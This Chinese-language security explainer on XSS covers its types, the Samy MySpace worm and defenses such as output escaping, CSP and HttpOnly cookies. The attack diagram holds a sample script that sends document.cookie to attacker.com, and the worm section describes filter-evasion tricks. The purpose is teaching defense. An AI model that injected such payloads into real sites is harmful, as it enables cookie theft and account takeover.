跨站腳本攻擊 (XSS)
1. 定義
跨站腳本攻擊 (Cross-Site Scripting, XSS) 是一種注入漏洞,當應用程式在未經過濾或轉義的情況下,將不受信任的數據包含在網頁中時就會發生。這允許攻擊者在受害者的瀏覽器中執行惡意腳本(通常是 JavaScript),且該腳本是在受影響網站的**源(Origin)**下運行的。
由於惡意腳本是由受信任的網域本身提供的,攻擊者藉此繞過了瀏覽器的同源政策 (Same-Origin Policy, SOP)。
2. 技術原理
瀏覽器通過解析 DOM 中的 JavaScript 來實現交互。如果攻擊者能將 <script> 標籤或事件處理器(如 onload)注入到 DOM 中,瀏覽器將無法區分它是合法程式碼還是惡意程式碼。
主要分為三種類型:
- 反射型 XSS (Reflected XSS):有效負載通過請求(如 URL 參數)傳遞,並立即在響應中反射。通常需要受害者點擊惡意連結。
- 儲存型 XSS (Stored XSS):有效負載被保存到資料庫(如評論、個人資料),之後被發送給其他訪問該頁面的用戶。
- DOM 型 XSS (DOM-based XSS):漏洞存在於客戶端程式碼中,程式碼使用不安全的源(如
location.hash)來修改 DOM,而不經過伺服器。
3. 攻擊流程 (儲存型 XSS)
sequenceDiagram
participant Attacker
participant Server as Web 應用程式
participant DB as 資料庫
participant Victim
Attacker->>Server: 1. 發送 POST /comment ("<script>fetch(attacker.com?c=document.cookie)</script>")
Server->>DB: 2. 保存評論 (未經過濾)
DB-->>Server: OK
Note over Victim: 稍後...
Victim->>Server: 3. 訪問 GET /comments
Server->>DB: 獲取評論
DB-->>Server: 返回包含攻擊負載的評論
Server-->>Victim: 4. 返回包含惡意腳本的 HTML
Victim->>Attacker: 5. 腳本執行 -> 發送 Session Cookie
Note right of Victim: 帳號被接管4. 真實案例:Samy 蠕蟲 (MySpace, 2005)
目標: MySpace 用戶個人資料。 漏洞類別: 儲存型 XSS。
Samy Kamkar 發現 MySpace 允許用戶使用 HTML 自定義個人資料,但過濾了諸如 <script> 之類的明顯標籤。
繞過方式:
- 過濾器規避: MySpace 封鎖了
href屬性中的 “javascript”,但 Samy 發現瀏覽器會忽略換行符:java script。 - CSS 注入: 他將負載注入到 CSS 的
background屬性中:background:url('java script:...')。 - 有效負載: 該腳本執行了兩個操作:
- 將 “Samy” 添加為好友。
- 編輯受害者的個人資料,以複製這段惡意程式碼本身(自我複製)。
影響: 在 20 小時內,超過 100 萬用戶 被感染。MySpace 不得不關停整個網站以清理資料庫。這被認為是史上傳播速度最快的病毒。
5. 深度防禦策略
A. 上下文感知輸出轉義 (Context-Aware Output Encoding)
轉義必須根據數據所處的位置進行針對性處理。
- HTML 正文: 將
&,<,>,",'轉換為實體(如<)。 - HTML 屬性: 必須使用帶引號的屬性,並對屬性值進行轉義。
- JavaScript 變數: 使用 Unicode 轉義序列(如
\u003c)。 - CSS/URL: 使用嚴格的 URL 編碼。
- 工具: 使用自動上下文轉義引擎(如 React/Angular/Vue 的默認行為,或 OWASP Java Encoder 等庫)。
B. 內容安全政策 (Content Security Policy, CSP)
這是一種瀏覽器層面的防禦,用於限制可以載入資源的來源。
禁用內聯腳本: 阻止
<script>...</script>程式碼塊運行。設置允許來源: 僅允許來自
self或受信任 CDN 的腳本。基於 Nonce 的 CSP: 為每次請求生成隨機 Nonce,只有帶有匹配 Nonce 屬性的腳本才能執行。
Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic';
C. HttpOnly Cookie
將會話 Cookie 標記為 HttpOnly。
- 這可以防止 JavaScript 通過
document.cookie訪問 Cookie。 - 雖然它不能阻止 XSS 本身(腳本仍可發起請求),但它能有效防止簡單的 Session 令牌竊取。
